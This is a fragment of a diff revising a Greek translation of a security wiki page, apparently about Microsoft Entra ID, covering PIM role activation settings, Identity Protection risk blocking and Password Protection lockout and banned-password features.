-Όταν το PIM είναι ενεργοποιημένο, είναι δυνατό να διαμορφωθεί κάθε ρόλος με συγκεκριμένες απαιτήσεις όπως: +Όταν το PIM είναι ενεργοποιημένο είναι δυνατό να διαμορφώσετε κάθε ρόλο με ορισμένες απαιτήσεις όπως: - Μέγιστη διάρκεια (ώρες) ενεργοποίησης - Απαίτηση MFA κατά την ενεργοποίηση @@ -1180,8 +1255,8 @@ Import-Module ./EntraTokenAid/EntraTokenAid.psm1 - Απαίτηση αιτιολόγησης κατά την ενεργοποίηση - Απαίτηση πληροφοριών ticket κατά την ενεργοποίηση - Απαίτηση έγκρισης για ενεργοποίηση -- Μέγιστος χρόνος για να λήξουν οι επιλέξιμες αναθέσεις -- Πολλές επιπλέον ρυθμίσεις για το πότε και σε ποιον να αποστέλλονται ειδοποιήσεις όταν γίνονται ενέργειες σχετικές με τον ρόλο +- Μέγιστος χρόνος μέχρι να λήξουν οι eligible assignments +- Πολλές ακόμη ρυθμίσεις για το πότε και σε ποιον αποστέλλονται ειδοποιήσεις όταν συμβαίνουν συγκεκριμένες ενέργειες με αυτόν τον ρόλο ### Conditional Access Policies @@ -1193,21 +1268,21 @@ Check: ### Entra Identity Protection -Το Entra Identity Protection είναι μια υπηρεσία ασφάλειας που επιτρέπει να **εντοπίζεται πότε ένας χρήστης ή μια σύνδεση είναι υπερβολικά ριψοκίνδυνη** για να γίνει δεκτή, επιτρέποντας το **μπλοκάρισμα** του χρήστη ή της προσπάθειας σύνδεσης. +Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt. -Επιτρέπει στον admin να το διαμορφώσει ώστε να **μπλοκάρει** προσπάθειες όταν ο κίνδυνος είναι "Low and above", "Medium and above" ή "High". Ωστόσο, από προεπιλογή είναι εντελώς **απενεργοποιημένο**: +Επιτρέπει στον admin να το ρυθμίσει ώστε να **αποκλείει** προσπάθειες όταν ο κίνδυνος είναι "Low and above", "Medium and above" ή "High". Ωστόσο, από προεπιλογή είναι εντελώς **disabled**:
> [!TIP] -> Σήμερα συνιστάται να προστεθούν αυτοί οι περιορισμοί μέσω Conditional Access policies όπου είναι δυνατή η διαμόρφωση των ίδιων επιλογών. +> Σήμερα συνιστάται να προσθέσετε αυτούς τους περιορισμούς μέσω Conditional Access policies όπου είναι δυνατή η ρύθμιση των ίδιων επιλογών. ### Entra Password Protection -Το Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) είναι μια λειτουργία ασφάλειας που **βοηθά στην αποτροπή κατάχρησης αδύναμων κωδικών, κλειδώνοντας λογαριασμούς όταν συμβαίνουν πολλαπλές αποτυχημένες προσπάθειες σύνδεσης**.\ -Επιτρέπει επίσης να **αποκλειστεί μια προσαρμοσμένη λίστα κωδικών** που πρέπει να παρέχετε. +Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\ +Επίσης επιτρέπει να **απαγορευτεί μια προσαρμοσμένη λίστα κωδικών** που πρέπει να παρέχετε. -Μπορεί να εφαρμοστεί **είτε** σε επίπεδο cloud είτε στο on-premises Active Directory. +Μπορεί να **εφαρμοστεί και στα δύο** επίπεδα: στο cloud και στο on-premises Active Directory. Η προεπιλεγμένη λειτουργία είναι **Audit**: